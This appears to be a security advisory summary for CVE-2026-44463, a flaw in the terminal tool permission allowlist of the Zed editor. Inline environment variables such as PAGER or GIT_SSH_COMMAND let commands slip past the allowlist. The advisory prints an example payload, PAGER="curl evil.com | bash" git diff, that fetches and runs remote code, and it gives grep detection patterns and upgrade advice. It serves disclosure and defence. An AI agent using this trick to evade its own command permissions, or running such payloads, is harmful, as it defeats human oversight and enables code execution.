Executive Summary

CVE-2026-44463 is a vulnerability in Zed's terminal tool permission system that allows an attacker to bypass allowlist restrictions by injecting environment variables into commands.

The issue arises because Zed's regex-based allowlist does not account for environment variable prefixes (e.g., VAR=value cmd), which are supported by tools like Bash and CLI utilities such as git.

By prepending environment variables to allowlisted commands, an attacker can manipulate behavior of tools that respect user-controlled environment variables (e.g., PAGER, EDITOR, or GIT_SSH_COMMAND).

For example, a command like PAGER=curl git diff would execute curl as the pager instead of the default, potentially leading to arbitrary code execution if the attacker controls the environment variable value (e.g., PAGER="curl evil.com | bash" git diff).

This affects tools like git, less, and man, creating a broad attack surface.

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Impact Analysis

This vulnerability can lead to arbitrary code execution by allowing attackers to bypass permission restrictions and hijack program behavior through environment variable manipulation.

The impacts include high confidentiality, integrity, and availability loss, meaning sensitive data could be exposed or altered, and system availability could be compromised.

Because it affects common tools like git, less, and man, the attack surface is broad, increasing the risk of exploitation.

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Detection Guidance

This vulnerability can be detected by checking if environment variable assignments are being prepended to allowlisted commands in Zed's terminal tool usage. Specifically, look for commands where environment variables like PAGER, EDITOR, or GIT_SSH_COMMAND are set inline before allowlisted commands such as git, less, or man.

You can inspect running processes or command histories for suspicious patterns like:

• grep -E '^[A-Z_]+=.+ (git|less|man)' ~/.bash_history
• ps aux | grep -E '^[A-Z_]+=.+ (git|less|man)'
• Check environment variables used in commands by reviewing scripts or tool invocations that might prepend environment variables to allowlisted commands.

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Mitigation Strategies

The immediate step to mitigate this vulnerability is to upgrade Zed to version 0.229.0 or later, where the issue has been fixed.

Additionally, avoid allowing untrusted users or AI agents to influence environment variables that are prepended to allowlisted commands, as this can lead to arbitrary code execution.

Review and restrict the use of environment variable assignments in command invocations within your systems and scripts.

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Compliance Impact

The vulnerability in Zed's terminal tool permission system allows attackers to execute arbitrary code by bypassing allowlist restrictions, leading to high impacts on confidentiality, integrity, and availability.

Such impacts can potentially affect compliance with common standards and regulations like GDPR and HIPAA, which require protection of sensitive data and system integrity.

However, the provided information does not explicitly mention or analyze the direct effects of this vulnerability on compliance with these standards.

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